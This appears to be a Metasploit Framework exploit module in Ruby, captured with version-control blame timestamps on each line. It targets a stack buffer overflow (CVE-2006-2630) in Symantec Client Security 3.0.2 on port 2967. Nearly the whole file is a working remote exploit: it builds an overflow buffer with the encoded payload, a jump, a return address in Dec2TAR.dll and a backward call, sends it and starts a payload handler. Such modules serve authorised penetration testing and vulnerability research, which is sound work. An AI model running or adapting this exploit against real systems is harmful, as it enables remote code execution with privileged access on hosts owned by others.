2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-09-08 18:35:30 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GoodRanking
|
2006-09-08 18:35:30 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2006-09-08 18:35:30 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-09-08 18:35:30 +00:00
|
|
|
'Name' => 'Symantec Remote Management Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Symantec Client Security 3.0.x.
|
2006-09-08 18:35:30 +00:00
|
|
|
This module has only been tested against Symantec Client Security 3.0.2
|
|
|
|
build 10.0.2.2000.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-09-08 18:35:30 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-10-12 14:39:51 +00:00
|
|
|
['CVE', '2006-2630'],
|
2006-09-08 18:35:30 +00:00
|
|
|
['OSVDB', '25846'],
|
|
|
|
['BID', '18107'],
|
|
|
|
['URL', 'http://research.eeye.com/html/advisories/published/AD20060612.html'],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-09-08 18:35:30 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 500,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2006-09-08 18:35:30 +00:00
|
|
|
[
|
|
|
|
[ 'SCS 3.0.2 build 10.0.2.2000', { 'Ret' => 0x69985624 } ], # Dec2TAR.dll
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'May 24 2006'))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(2967)
|
|
|
|
], self.class)
|
2006-09-08 18:35:30 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-09-08 18:35:30 +00:00
|
|
|
header = "\x01\x10\x0a\x20\x0a\x00\x00\x00"
|
|
|
|
header << "\x02\x18\x00\x01\x00\x00\x00\x00"
|
|
|
|
header << "\x00\x24\x00\x14\xb7\xc9\xd2\xd9"
|
|
|
|
header << "\x3e\x33\xef\x34\x25\x1f\x43\x00"
|
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
crufta = rand_text_alphanumeric(512)
|
|
|
|
cruftb = rand_text_alphanumeric(514)
|
|
|
|
cruftc = payload.encoded + rand_text_alphanumeric(513 - payload.encoded.length)
|
|
|
|
cruftd = rand_text_alphanumeric(495)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-09-08 18:35:30 +00:00
|
|
|
cruftd[479, 2] = "\xeb\x06"
|
|
|
|
cruftd[483, 4] = [target.ret].pack('V')
|
|
|
|
cruftd[487, 5] = [0xe8, -1000].pack('CV')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
cruftd << rand_text_alphanumeric(21)
|
|
|
|
crufte = rand_text_alphanumeric(6) + "\x19\x00\x00\x00"
|
|
|
|
crufte << rand_text_alphanumeric(504) + "\x00\x00"
|
2006-09-08 18:35:30 +00:00
|
|
|
|
|
|
|
overflow = [ crufta.length ].pack('v') + crufta
|
|
|
|
overflow << [ cruftb.length ].pack('v') + cruftb
|
|
|
|
overflow << [ cruftc.length ].pack('v') + cruftc
|
2010-04-30 08:40:19 +00:00
|
|
|
overflow << [ cruftd.length ].pack('v') + cruftd
|
2006-09-08 18:35:30 +00:00
|
|
|
overflow << [ crufte.length ].pack('v') + crufte
|
|
|
|
|
|
|
|
sploit = header + overflow
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
sock.put(sploit)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-09-08 18:35:30 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-10-12 14:39:51 +00:00
|
|
|
end
|